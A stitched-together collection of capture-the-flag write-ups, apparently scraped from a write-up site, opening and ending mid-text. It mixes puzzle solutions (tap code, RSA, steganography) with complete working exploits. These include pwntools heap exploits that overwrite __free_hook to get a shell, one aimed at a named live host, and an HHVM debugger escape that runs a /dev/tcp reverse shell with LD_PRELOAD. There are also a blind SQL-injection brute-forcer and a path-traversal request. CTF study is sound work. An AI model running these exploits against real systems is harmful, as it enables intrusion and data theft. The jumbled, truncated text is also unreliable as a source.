Output: $ ls -ltotal 48-rwxr-xr-x 1 0 0 21064 Sep 12 04:47 BrainSim-rw-r--r-- 1 0 0 2261 Sep 12 04:47 BrainSim.cdrwxr-xr-x 2 0 0 4096 Sep 12 04:40 bindrwxr-xr-x 2 0 0 4096 Sep 12 04:40 dev-r--r--r-- 1 0 0 56 Sep 12 04:47 flag.txtlrwxrwxrwx 1 0 0 7 Sep 12 04:40 lib -> usr/liblrwxrwxrwx 1 0 0 9 Sep 12 04:40 lib32 -> usr/lib32lrwxrwxrwx 1 0 0 9 Sep 12 04:40 lib64 -> usr/lib64lrwxrwxrwx 1 0 0 10 Sep 12 04:40 libx32 -> usr/libx32-rwxr-xr-x 1 0 0 338 Sep 12 04:47 run.shdrwxr-xr-x 6 0 0 4096 Sep 12 04:40 usr$ cat flag.txtCOMPFEST13{570PPPP_I7___937_0U7_0f_my_H34d___b6fc1236d6}```
The administrator sent me the Exploit code, so I attach `exploit.py`.Thank you for your polite response even after the competition.
## Reference:https://en.wikipedia.org/wiki/Brainfuck
https://www.notion.so/RCTF-2020-acfcdd0de8534ed0a7caef3549088281 |
## Shop Manager
> Points: 496>> Solves: 6
### Description:A simple shop simulator
nc 103.152.242.242 39221
Author: prajnapras19
### Attachments:```shop-manager-master-public.zip```
## Analysis:
The menu is as follows, and this binary has `Add`, `Delete`, `Edit`, `List`, `Sell` functions.```Menu:1. Add item2. Delete item3. Edit item4. List of added items5. Sell item6. Exit```
Since libc uses libc-2.27.so, I execute this binaries on Ubuntu 18.04 in my local environment.```-rwxr-xr-x 1 mito mito 13168 Sep 1 21:37 chall-rwxr-xr-x 1 mito mito 179152 Sep 1 21:37 ld-2.27.so-rwxr-xr-x 1 mito mito 2030928 Sep 1 21:37 libc-2.27.so```
The `Item name` input for the `Add` and `Edit` functions uses `__isoc99_scanf("%s", buf)`. Therefore, it has a heap buffer overflow vulnerability because it does not check the size of the input string.
Below is the compile result of `addItem()` by Ghidra.
```cvoid addItem(void)
{ long lVar1; int iVar2; void *pvVar3; iVar2 = idx; if (idx == N) { puts("Our shop is full."); } else { pvVar3 = malloc(0x10); *(void **)(items + (long)iVar2 * 8) = pvVar3; lVar1 = *(long *)(items + (long)idx * 8); pvVar3 = malloc(0x20); *(void **)(lVar1 + 8) = pvVar3; printf("Item name: "); __isoc99_scanf("%s",*(undefined8 *)(*(long *)(items + (long)idx * 8) + 8)); printf("Item price: "); __isoc99_scanf("%ld",*(undefined8 *)(items + (long)idx * 8)); idx = idx + 1; puts("Item added successfully."); } return;}```
## Solution:
First I considered how to leak the libc address.I added 16 Items to make a big chunk.Then change the name of the 0th Item using a heap buffer overflow as follows: Resize the 1st chunk from 0x21 to 0x431.
```0x604260: 0x0000000000000000 0x00000000000000210x604270: 0x0000000000000001 0x00000000006042900x604280: 0x0000000000000000 0x00000000000000310x604290: 0x6161616161616161 0x61616161616161610x6042a0: 0x6161616161616161 0x61616161616161610x6042b0: 0x6161616161616161 0x0000000000000431 Change to 0x21 => 0x4310x6042c0: 0x0000000000000000 0x00000000006042e00x6042d0: 0x0000000000000000 0x00000000000000310x6042e0: 0x4242424242424242 0x00000000000000000x6042f0: 0x0000000000000000 0x00000000000000000x604300: 0x0000000000000000 0x0000000000000021```
I can create a 0x430 size unsorted bin chunk by deleting the 1st Item.```0x604260: 0x0000000000000000 0x00000000000000210x604270: 0x0000000000000001 0x00000000006042900x604280: 0x0000000000000000 0x00000000000000310x604290: 0x6161616161616161 0x61616161616161610x6042a0: 0x6161616161616161 0x61616161616161610x6042b0: 0x6161616161616161 0x00000000000004310x6042c0: 0x00007ffff7dcdca0 0x00007ffff7dcdca0 The 1st chunk goes into an unsorted bin0x6042d0: 0x0000000000000000 0x00000000000000000x6042e0: 0x4242424242424242 0x00000000000000000x6042f0: 0x0000000000000000 0x00000000000000000x604300: 0x0000000000000000 0x0000000000000021```
Furthermore, if I execute the `Add` function, I can put the address of the unsorted bin chunk in the 2nd chunk, so I can leak the libc address with the `List` function.``` 'Name: `G`\n' 'Price: 140737351834784\n' => 0x00007ffff7dcdca0```
Now that I have chunk overhauled, I can put `__free_hook` into tcache using the `Add`, `Delete` and `Edit` features shown below.```# tcache poisoningAdd("c", 3)Delete(5)Delete(1)Edit(14, "d", free_hook)```
The following is the state of tcache after executing the above function.```pwndbg> binstcachebins0x20 [100]: 0x604310 —▸ 0x7ffff7dcf8e8 (__free_hook) ◂— 0x0```
Finally, I write `/bin/sh` to Price of the 14th chunk, I write the address of the `system` function to `__free_hook`, and delete the 14th chunk to start the shell.
```# Write system address in __free_hookAdd("e", u64("/bin/sh\x00")) # 14Add("f", system_addr)
# Start shellDelete(14)```
I didn't use the `Sell` function.
## Exploit code:```pythonfrom pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './chall'elf = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "103.152.242.242" PORT = 39221 s = remote(HOST, PORT) libc = ELF("./libc-2.27.so")else: s = process(BINARY) libc = elf.libc
def Add(data, price): s.sendlineafter("> ", "1") s.sendlineafter("name: ", data) s.sendlineafter("price: ", str(price))
def Delete(idx): s.sendlineafter("> ", "2") s.sendlineafter("): ", str(idx))
def Edit(idx, data, price): s.sendlineafter("> ", "3") s.sendlineafter("): ", str(idx)) s.sendlineafter("name: ", data) s.sendlineafter("price: ", str(price))
def List(): s.sendlineafter("> ", "4")
def Sell(idx, item): s.sendlineafter("> ", "5") s.sendlineafter("): ", str(idx)) s.sendlineafter("item?\n", item)
def Exit(): s.sendlineafter("> ", "6")
for i in range(16): Add(chr(0x41+i)*8, 1)
# libc leakEdit(0, "a"*0x28+p64(0x431), 1)Delete(1)Add("b", 2)List()for i in range(2): s.recvuntil("Price: ")libc_leak = int(s.recvuntil("\n"))libc_base = libc_leak - libc.sym.__malloc_hook - 0x70free_hook = libc_base + libc.sym.__free_hooksystem_addr = libc_base + libc.sym.systemprint "libc_leak =", hex(libc_leak)print "libc_base =", hex(libc_base)
# tcache poisoningAdd("c", 3)Delete(5)Delete(1)Edit(14, "d", free_hook)
# Write system address in __free_hookAdd("e", u64("/bin/sh\x00")) # 14Add("f", system_addr)
# Start shellDelete(14)
s.interactive()```
## Results:```bashmito@ubuntu:~/CTF/COMPFEST_CTF_2021/Pwn_Shop_Manager/shop-manager-master-public/public$ python solve.py r[*] '/home/mito/CTF/COMPFEST_CTF_2021/Pwn_Shop_Manager/shop-manager-master-public/public/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to 103.152.242.242 on port 39221: Done[*] '/home/mito/CTF/COMPFEST_CTF_2021/Pwn_Shop_Manager/shop-manager-master-public/public/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledlibc_leak = 0x7ff49f953ca0libc_base = 0x7ff49f568000[*] Switching to interactive mode$ id/bin/sh: 1: id: not found$ ls -ltotal 2208drwxr-xr-x 2 0 0 4096 Sep 12 04:33 bin-r-xr-xr-x 1 0 0 17264 Sep 12 04:33 challdrwxr-xr-x 2 0 0 4096 Sep 12 04:33 dev-r--r--r-- 1 0 0 56 Sep 12 04:33 flag.txt-rwxr-xr-x 1 0 0 179152 Sep 12 04:33 ld-2.27.sodrwxr-xr-x 21 0 0 4096 Sep 12 04:33 libdrwxr-xr-x 3 0 0 4096 Sep 12 04:33 lib32drwxr-xr-x 2 0 0 4096 Sep 12 04:33 lib64-rwxr-xr-x 1 0 0 2030928 Sep 12 04:33 libc-2.27.so-rwxr-xr-x 1 0 0 339 Sep 12 04:33 run.sh$ cat flag.txtCOMPFEST13{I_us3_st4Ck_p1v0T1ng_How_bouT_Y0u_dd4dfcc265}```
I also wrote an Exploit code (`solve_stackpivot.py`) that uses the sell function after the competition. |
# Hiphop
## Writeup
1. Read `file:///proc/self/cmdline` to get Hiphop command line, found `-dhhvm.debugger.vs_debug_enable=1`.2. Install Visual Studio Code & HHVM and start debugging.3. Now you can execute any Hacklang in debug console, try hard to bypass `-dhhvm.server.whitelist_exec=true`.4. Capture the traffic and convert TCP stream to gopher URL.
## Tips
1. When you debug gopher URL, you may find neither PHP 8 nor curl you installed locally can send gopher requests to HHVM server. That's because some versions of curl/libcurl cannot handle gopher URL with '%00'.2. Hacklang's `putenv` never call syscall `putenv`, it just put the env into its `g_context`, as is you cannot call `mail()`/`imap_mail()` with `LD_PRELOAD`. I checked almost all functions that will call `execve` and only `proc_open` allows me to set environment variables.3. Calling `system` or `proc_open` will run `sh -c "YOUR_COMMAND"`, even if command == `""`. So no matter what, `getuid` in `LD_PRELOAD` will always be called.4. Some syntax of Hacklang cannot be used in debugging context so just `eval()` it.5. Hacklang is very strange from PHP, its doc is bullshit. What's even more annoys me is that even StackOverflow doesn't have a discussion about it. Good luck to you hackers.
## Solution```php& /dev/tcp/YOURIP/YOURPORT 0>&1;;$ldpreload = './ldpreload/a.so';
req('{"command":"attach","arguments":{"name":"Attach","type":"hhvm","request":"attach","host":"localhost","port":8999,"remoteSiteRoot":"/","localWorkspaceRoot":"/","__configurationTarget":5,"__sessionId":"","sandboxUser":"root"},"type":"request","seq":1}' . "\0" . '{"command":"evaluate","arguments":{"expression":"file_put_contents(\'' . $sandbox . '\',base64_decode(\'' . base64_encode(file_get_contents($ldpreload)) . '\'));eval(base64_decode(\'' . base64_encode('function aa(){$ch=1;proc_open(\'\',dict[],inout $ch,\'\',dict[\'LD_PRELOAD\'=>\'' . $sandbox . '\',\'COMMAND\'=>\'bash -c \\\'' . $command . '\\\'\']);}') . '\'));aa();","context":"repl"},"type":"request","seq":2}' . "\0");```
## Unintended solution
No one bypassed `hhvm.server.whitelist_exec=true` in my way. All solved teams (7 teams) used an unintended function that did not check the whitelist to bypass it, it's better to check theirs writeup. I will update it here soon. |
[Original writeup](https://github.com/DauHoangTai/CTF/blob/master/2021/CsawCTF/README.md#challenge-no-pass-needed) https://github.com/DauHoangTai/CTF/blob/master/2021/CsawCTF/README.md#challenge-no-pass-needed |
# Prison### Challangefile `challange.txt` contained:```.... .... .. ... . ..... ... ..... .... .. .. .... .... ... ... .... ... ... . ..... .... .. .. .... .... ... .... .... .... .. ..... .... .. .... ... ... .. .. .... .... ... .... . ..... .... ... . ... . . ... ..... . ..... .. . .... .. ... .... ... .. .. ... .. .... .... ... . ... . ..... ... . ... .```
### What is TapCode? [SRC](https://en.wikipedia.org/wiki/Tap_code)The tap code is based on a [Polybius square](https://en.wikipedia.org/wiki/Polybius_square "Polybius square") using a 5×5 grid of letters representing all the letters of the [Latin alphabet](https://en.wikipedia.org/wiki/Latin_alphabet "Latin alphabet"), except for K, which is represented by C.
Each letter is communicated by tapping two numbers- the first designating the row (Vertical down) ↓- the second designating the column (Horizontal right) →
### How i solve this challange?challange was already solved so I tought why not create python script to get flag automaticly!
```python#!/usr/bin/env python3
# pip3 install tapcode==1.0.0from tapcode import tapcode
# Import argv from sys to get file as argumentfrom sys import argv
usage = """Usage:
solve.py {challange file}"""
# This library does not support "." and " " so we have to# convert our "." to numbersdef tapCode2Decimal(cipher: str, code: str, sep: str): tmp = [] tapcode = [] for dot in cipher: if dot == code: # If letter was dot add it to tmp list tmp.append(dot) elif dot == sep: tapcode.append(str(len(tmp))) # Get length of the list wich is our number tmp = [] # set list to empty list return "".join(tapcode)
try: with open(argv[1], "r") as file: challange = file.read() # Read Challange file cipher = tapCode2Decimal(challange, ".", " ") # Use our function to get numbers flagContent = tapcode.decipher(cipher, " ", " ").replace(" ", "") # use tapcode liberary to decode tap code print("TMUCTF{" + flagContent + "}")
except Exception as e: # return usage if there was an error print(usage)```
**[TapCode](https://pypi.org/project/tapcode/)**
Read docs for tapcode liberary [here](https://tapcode.readthedocs.io/en/latest/)
**NOTE:**this is tapcode 1.0.0 im working on the new version for these kind of CTF's :)
```shell$ py3 solve.py challange.txt
TMUCTF{THEPRISONERISTRYINGTOESCAPEFROMHISCELL}``` |
Kernel module with 3 main bugs: deterministic prng, lack of validation on pointers for buffer (can pass in pointers to write to kernelspace in the ioctl), and TOCTOU in ioctl that could lead to memcpy OOB read. Use the race condition to leak kernel pointers after spraying kernel structures like tty_struct, and then abuse the arbitrary pointer write to overwrite modprobe_path. |
Windows forensics with a bit of Python decompilation. Full writeup: [https://ctf.rip/write-ups/ics/csaw-trippingbreakers/](https://ctf.rip/write-ups/ics/csaw-trippingbreakers/) |
[https://github.com/cscosu/ctf-writeups/tree/master/2021/csaw_quals/word_games](https://github.com/cscosu/ctf-writeups/tree/master/2021/csaw_quals/word_games)
# word_games
**Category**: pwn \**Points**: 499 points (14 solves)
**Writeup By**: Andrew Haberlandt (ath0)
I need your help. I'm writing a paper and I need some fun words to add to it!
```nc pwn.chal.csaw.io 5001```
Attachments: `word_games` and `libc-2.33.so`.
## 'btw i use arch'
We won't be able to run this with the given libc until we can find a matching `ld`. @qxxxb knew of a tool called [pwninit](https://github.com/io12/pwninit) which allegedly can find the matching ld. Unfortunately, it didn't work. I googled around for ld binaries for libc 2.33 but didn't find anything.
Using [this libc finder](https://libc.rip/) we find that the libc we were given comes from a libc named "libc-2.33-5-x86_64". Cool, lets google that.

OK - so it's the latest available glibc for Arch. Let's just grab the latest binutils for arch: https://archlinux.org/packages/core/x86_64/binutils/ and I got `binutils-2.36.1-3-x86_64.pkg.tar.zst`... extract this a few times and you can find a bunch of binaries, including ld. And it worked.
I have included this `ld-2.33.so` here. After this I just used pwninit (or you can run patchelf manually) to get a version of the challenge that runs with this ld and libc.
## Overview
Now that we have it running...
```Hi! I need your help. I'm writing a paper and I need some fun words to add to it.Can you give me some words?? 1. Suggest word 2. Scrap your list 3. Hear my favorite word so far 4. Leave > 1 How long is your word? > 4What is your word? > lolz
Nah, I don't like that word. You keep it in your listDo you have any more words for me? 1. Suggest word 2. Scrap your list 3. Hear my favorite word so far 4. Leave >```
This is a 'heap note' style challenge. We can suggest words, with a controlled size.
After some light reversing, we find that there are two linked lists -- what I will call the "user list" and the "fun list".
Every time you submit a suggestion, it will be inserted into the user list. This involves an allocation of a controlled size, followed by the allocation of a node (size 0x18). The function at 00101315 does the linked list insert.
If you submit a suggestion containing 'fun' then it will do some additonal stuff:
```Do you have any more words for me? 1. Suggest word 2. Scrap your list 3. Hear my favorite word so far 4. Leave > 1How long is your word? > 4What is your word? > fun1
What a fun word, I'm copying that to my list!In fact, that's my favorite word so far!```
After a little more reversing, we find out that it will allow 4 words in the fun list. It will copy your word (with strdup, which is just another malloc and copy) before adding it to the fun list. It is also keeping track of its 'favorite word' -- the longest word containing 'fun'. The new current favorite word is also copied with strdup.
## The bugs
The structure for tracking the favorite words and the most fun word is also in a heap chunk, allocated at `0010180a` (run once at program start).
When we get to 4 words in the favorites list, scrap_list is called at `00101a08`. Here, the favorites structure that has the pointer to the list and the favorite word is free'd (if not NULL), and then the best word is free'd (if not NULL). I think this is a fairly common type of bug: here they are freeing the parent structure before freeing the child... so overwriting `favorites->linkedlist` actually corrupts the tcache immediately by overwriting the 'next' pointer of the free'd chunk.

But there are other uses of this malloc-d favorites global... favorites->linkedlist is chcked here at (001016e3) to determine if we still are collecting favorites... but the problem is that the favorites structure is already free'd!

There is yet another bug here, though. favorites->best_word is free'd but not zeroed in scrap_list. So we can still read from that chunk using option 3 after it has been free'd.
## Exploit
This will require some [basic knowledge of the glibc heap](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) as well as a tool like GEF's `heap bins` command. All of this was determined experimentally (ie. looking at the heap with `heap bins` and figuring out what allocations / frees needed to be made to get things where I wanted)
Overview: My exploit creates the ability to call free() on a arbitrary pointer. I then construct a fake chunk, get it free'd into tcache, and then overwrite the next pointer so that a later malloc will return a controlled pointer -- this gives me an arbitrary write. Use this to overwrite __free_hook to call system.
### Getting a libc leak
The chunk with the favorites structure got free'd but we can still read from the 'best word', which also got freed. To get a libc leak, we want the 'best word' to get free'd into the "unsorted bin" -- I remembered from a previous challenge that free'd chunks in the unsorted bin contain a libc pointer.
```python # Some extra allocations suggest(r, 0x300, b"Q" * 0x2ff) suggest(r, 0x300, b"Q" * 0x2ff) suggest(r, 0x300, b"Q" * 0x2ff) suggest(r, 0x300, b"Q" * 0x2ff) suggest(r, 0x300, b"Q" * 0x2ff) # This will allocate 3 times: # 1. reading in and stored to my list # 2. strdup into favorites list # 3. strcup as the 'best word' ** 8th allocation ** suggest(r, 0x300, b"fun" + b"X" * 0x2fc)
# This will free 6 of them scrap_my_list(r) # Some dummy allocations so that our favorites list ends up # where we want it later (will talk about later) suggest(r, 0x10, b"dummy") suggest(r, 0x40, b"dummy")
suggest(r, 0x10, b"funY") for i in range(2): suggest(r, 0x60+(i), b"fun" + b"X" * i)
# At this point, the favorites list is traversed # and the remaining 0x300 allocations are free'd. # The 'best word' allocation is free'd last and is # placed in the unsorted bin. r.recvuntil("You have given me so many")
# Read from the favorite word. This is a free'd # chunk, so we are reading a libc leak leak = u64(get_favorite(r)[:8].ljust(8, b"\x00")) print("leak: %s" % (hex(leak,)))```
### Getting arbitrary free
So after we send it four 'fun' suggestions, the favorites structure will get free'd.
Remember those 'dummy' suggestions in the above code? That's because the free'd favorites structure is corrupted by the programwhen the linkedlist is set to NULL. So the dummy allocations above were to force this corrupted free'd chunk into the fastbin at position 8. Why 8? This is because when tcache runs out, it will try to move 8 things from fastbin and if one of them is corrupted, you hit this: https://github.com/bminor/glibc/blob/30891f35fa7da832b66d80d0807610df361851f3/malloc/malloc.c#L3758
(i had no idea about this, i just hit the error and looked at the source to see how to avoid, lol)
So first we will free everything (this will end with our favorites struct at position 8 of fastbin):
```python scrap_my_list(r)```
So, moving forward, if we make some more allocations of size <= 0x18, we will get our favorites structure out and we can write into it!
... but what to write into it?
Recall the favorites structure contains:
- pointer to head of linked list- favorite word
If we set the linked list pointer to anything other than NULL, the program will be willing to accept more favorites from us. And once it gets four favorites, favorite_word can be free'd -- this gives us an arbitrary free.
```pythondef arbitrary_free(r, addr, garbage_ll_addr): # Before calling this, we have to have the favorites struct at # top of tcache. Thus we are overwriting the linked list pointer # with some writable address, and best_word ptr with # address to free. suggest(r, 0x10, p64(garbage_ll_addr) + p64(addr))
# Before calling this you also have to have 3 words in the fun # list. This will be the fourth and will trigger the favorites list # free-ing. suggest(r, 0x18, b"fun" + b"E" * 0x15) return```
But what should we free?
### Heap leak and fake chunk
To get a heap leak, we can just read from the best_word without any additional work. The favorites structure is in a free'd chunk on the heap, and the favorite_word is pointing to some other free'dchunk containing a heap pointer. So we just read from the favorite word and get a heap pointer.
Eventually, we want to get malloc() to return a pointer to free_hook. We will do this by constructing a fake chunk, free it, and then change it to point to free_hook.
```python # Create our fake chunk. 0x21 is the size and flags, 0xdeadbeef is garbage contents of chunk. suggest(r, 0x40, b"FAKECHNK" + p64(0x21)+p64(0xdeadbeef))```
Now we have a free'd fake chunk, and thanks to our heap leak we know it's address. So we will use our arbitrary free to free our fake chunk.
```python fakechunk = heap_leak + (0x55555555bc70 - 0x55555555b940) # Free our fake chunk! arbitrary_free(r, fakechunk, garbage_ll_addr)```
Now we want to get the 0x40 chunk (a subset of which is our fake chunk) so we can corrupt our fake chunk with a 'safely linked' pointer to free_hook.
```python # Now free the rest of the chunks, including the 0x40 chunk that contains our fake one scrap_my_list(r)
# Now we get our FAKECHNK chunk back (this CONTAINS the forged chunk, which # is now in the tcache) # # We will overwrite the fwd pointer in tcache with a pointer to free_hook # .. but we have to do the glibc 2.32 'safe linking' thing: safe_ptr = (free_hook-0x10) ^ (fakechunk >> 12) suggest(r, 0x40, b"FAKECHNK" + p64(0) + p64(safe_ptr)) ```
For more on safe linking: https://www.researchinnovations.com/post/bypassing-the-upcoming-safe-linking-mitigation
```python # We'll free this later to trigger system(/bin/bash) ... ;) suggest(r, 0x60, b"/bin/bash -i\0") suggest(r, 0x18, p64(0xdeadbeef))
# This time malloc gave us our fake chunk suggest(r, 0x18, p64(0xdeadbeef))
# malloc returns our pointer to free_hook, we overwrite with system suggest(r, 0x18, p64(0xdeadbeef)*2+p64(system))```
And we are done:
```pythonr.sendline("2") # scrap list, /bin/bash gets free'dr.interactive()```
|
# Fake Registration
## Problem
Do you think this is really the TMUCTF registration form?!
[Task file](files/fake-registration.zip)
## Solution
We are given source code of a website, at the initialization stage the flag is set as `admin` password. Also, we can see an obvious SQL-injection:
```python...sql = f"INSERT INTO `users`(username, password) VALUES ('{username}', '{password}')"...db.execute_sql(sql)```
Both `username` and `password` aren't sanitized - just user input as-is. There are two factors that makes this a bit harder to exploit:
- Both parameters must not be longer than 67 characters - It is blind error-based injection
First one can be bypassed by commenting out values separator, like so:
```username=a',(first part of subquery here/*password=*/second part of subquery here))--```
So we get 134 characters, that is more than enough in this case.
Second one could be exploited using null constraint, which doesn't allow us to have empty password upon insert. So, we can query password of `admin` character by character, we get an error on a miss and successfull registration upon success. This leads to one more nuance: we should generate unique username as we are actually registering a user upon successfull character guess. So, we can bruteforce the flag with script like this one:
```pythonimport requestsimport string
task_url = "http://task-url"alphabet = string.printable;curflag = ""i = 1while True: for alpha in alphabet: username = "a'||random(),(select 1 from users where username='admin' and /*" password = "*/ substr(password,"+str(i)+",1)='"+alpha+"'))--"
r = requests.post(task_url, data={"username":username,"password":password}) response = str(r.content);
if (response.find('successful') != -1): curflag += alpha print(curflag) i = i + 1 break```
## TL;DR
- Blind error-based sql-injection |
[Original writeup](https://github.com/DauHoangTai/CTF/blob/master/2021/CsawCTF/README.md#challenge-scp-terminal) https://github.com/DauHoangTai/CTF/blob/master/2021/CsawCTF/README.md#challenge-scp-terminal |
[original writeup](https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/OSINT/The%20Tour%281%29/README.md)(https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/OSINT/The%20Tour%281%29/README.md). |
TL;DR1. User controls the ram and can program the VM2. Flag can be retrieved only in **emode**3. **emode** can be entered by guessing 14 bits from /dev/urandom4. Brute force those 14 bits and write the flag in the last 64-bytes of the ram5. After the timeout, the VM will print the last 64-bytes of the ram, giving us the flag
Full writeup: https://sectt.github.io/writeups/CSAW21-quals/ncore/README |
# EasyPHP
## How to Setup Environment
`cd docker && docker-compose up -d`
## Write Up
After reading index.php we can know that
1. Admin can read a file2. Every route need authentication except login in `$request->url`3. `../` in `$_GET`,`$_POST`,`$_COOKIE`,`$_SESSION` is not allowed
Read nginx.conf we know that
1. URL contains admin only can be accessed by 127.0.0.12. `REQUEST_URI` come from `$uri`, `$uri` is not URL decoded. PHP-FPM receives `$uri` and will urldecode it.
### Bypass Authentication
Our goal is obviously to bypass authentication to read a file, but within the above message, we can't do that.
So we need to read the flight framework.
In routing code, we can find an interesting thing that it will pass a URL decoded URL to the route function.
`$url_decoded = urldecode( $request->url );`
So we can bypass authentication by visit url path like `/%2561%2564%256d%2569%256e%3flogin=123`
### Bypass `../` limitation
But the flag is in /, so we need to bypass the `../` limitation.
The file to read come from `"./".$request->query->data`
But `../` limitation is working in `$_GET`, they may have some little difference.
Read about how `$request->query` is built.
It is first assigned value by the following code:
```php'query' => new Collection($_GET)
class Collection{ public function __construct(array $data = array()) { $this->data = $data; } }```
But in init function overwrite query by
```PHP
public function init(){ ... // Default url if (empty($this->url)) { $this->url = '/'; } // Merge URL query parameters with $_GET else { $_GET += self::parseQuery($this->url);
$this->query->setData($_GET); } ... } public static function parseQuery($url) { $params = array();
$args = parse_url($url); if (isset($args['query'])) { parse_str($args['query'], $params); }
return $params; }
```
So it's time to bypass the limitation of `../`
### Exploit
```GET /%2561%2564%256d%2569%256e%3flogin=123%26data=..%252f..%252f..%252f..%252fflag HTTP/1.1Host: 127.0.0.1:60080Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
```
|
1. Open on site ***"http://194.5.207.57/"*** page ***"/about.html"***2. Open view-source the site. In the code we'll see string with base64

Decoder we get a link to the site ```echo "aHR0cHM6Ly9tZWdhLm56L2ZpbGUvUTVaR1dMNWEjcW04Y20tV2ZVVVZMbGUyaTA2ZVJITkc0eFRwNjlRY0tJV0JaUmtGSFktVQ==" | base64 --decodehttps://mega.nz/file/Q5ZGWL5a#qm8cm-WfUUVLle2i06eRHNG4xTp69QcKIWBZRkFHY-U```3. On the site need to download a picture4. We parse the picture using the "binwalk tool"```binwalk --dd='.*' imitation-game.jpg
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 JPEG image data, JFIF standard 1.026423339 0x62032B Zip archive data, at least v2.0 to extract, uncompressed size: 212356, name: Movies, Myth, and the National Security State.pdf6619519 0x65017F End of Zip archive, footer length: 22
```And we see several files including the archive. In the archive have pdf file extract it.
5. We parse the pdf file using any site for example https://pdfcandy.com/result/889835650fb76e30.htmlIn the archive we found pictures

6. From these pictures we collect a phrase using the sitehttps://questhint.ru/hexahue/The pfrase is "14mp455w0rd"
7. Looking at the first picture that was at the very beginning and look for hidden files using the "steghide tool" and a passphrase "14mp455w0rd" and found txt file with the flag```steghide extract -sf imitation-game.jpg Enter passphrase: wrote extracted data to "flag.txt".``````cat flag.txt TMUCTF{C41rncr055_15_4_50v137_5py!}```
|
## Hamul
### Challenge
> RSA could be hard, or easy?> - [hamul_e420933a0655ea08209d1fe9588ba8a3a6db6bf5.txz.txz](https://cr.yp.toc.tf/tasks/hamul_e420933a0655ea08209d1fe9588ba8a3a6db6bf5.txz)
```python#!/usr/bin/env python3
from Crypto.Util.number import *from flag import flag
nbit = 64
while True: p, q = getPrime(nbit), getPrime(nbit) P = int(str(p) + str(q)) Q = int(str(q) + str(p)) PP = int(str(P) + str(Q)) QQ = int(str(Q) + str(P)) if isPrime(PP) and isPrime(QQ): break
n = PP * QQm = bytes_to_long(flag.encode('utf-8'))if m < n: c = pow(m, 65537, n) print('n =', n) print('c =', c)
# n = 98027132963374134222724984677805364225505454302688777506193468362969111927940238887522916586024601699661401871147674624868439577416387122924526713690754043# c = 42066148309824022259115963832631631482979698275547113127526245628391950322648581438233116362337008919903556068981108710136599590349195987128718867420453399```
### Solution
Since we can see that the generation of $PP$ and $QQ$ is special:
```pythonwhile True: p, q = getPrime(nbit), getPrime(nbit) P = int(str(p) + str(q)) Q = int(str(q) + str(p)) PP = int(str(P) + str(Q)) QQ = int(str(Q) + str(P)) if isPrime(PP) and isPrime(QQ): break```
If we let `x, y = len(str(p)), len(str(q))`, we will get:
$$P = 10^{x}p + q,\, Q = 10^{y}q + p$$
Also we let `x', y' = len(str(P)), len(str(Q))`, we will get:
$$PP = 10^{x'}P+Q,\, QQ=10^{y'}Q+P$$
After we put $P = 10^{x}p + q,\, Q = 10^{y}q + p$ into the above equation and calculate
$$N=PP \cdot QQ$$
we will find $N$ looks like in this form:
$$N = 10^{x+x'+y+y'}pq + \ldots +pq$$
Since $x+x'+y+y'$ is big enough, so we know that `str(N)[:?]` is actually `str(pq)[:?]` and as the same, `str(N)[?:]` is actually `str(pq)[?:]`.
After generating my own testcase, I find that `str(N)[:18] = str(pq)[:?]`, `str(N)[-18:] = str(pq)[-18:]` and actually `len(str(p*q)) = 38` so we just need brute force 2 number between the high-part and low-part.
So we can get $pq$ and factor it to get $p$ and $q$. The next is simple decryption.
```pythonfrom Crypto.Util.number import *from tqdm import tqdm
def decrypt_RSA(c, e, p, q): phi = (p-1) * (q-1) d = inverse(e, phi) m = pow(c, d, p*q) print(long_to_bytes(m))
n = 98027132963374134222724984677805364225505454302688777506193468362969111927940238887522916586024601699661401871147674624868439577416387122924526713690754043c = 42066148309824022259115963832631631482979698275547113127526245628391950322648581438233116362337008919903556068981108710136599590349195987128718867420453399
low = str(n)[-18:]high = str(n)[:18]pq_prob = []
for i in range(10): for j in range(10): pq_prob.append(int(high + str(i) + str(j)+ low)) for x in tqdm(pq_prob): f = factor(x) if (len(f) == 2 and f[0][0].nbits() == 64): p, q = f[0][0], f[1][0] break
P = int(str(p) + str(q))Q = int(str(q) + str(p))PP = int(str(P) + str(Q))QQ = int(str(Q) + str(P))N = PP * QQprint(N == n)decrypt_RSA(c, 65537, PP, QQ)```
##### Flag`CCTF{wH3Re_0Ur_Br41N_Iz_5uP3R_4CtIVe_bY_RSA!!}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
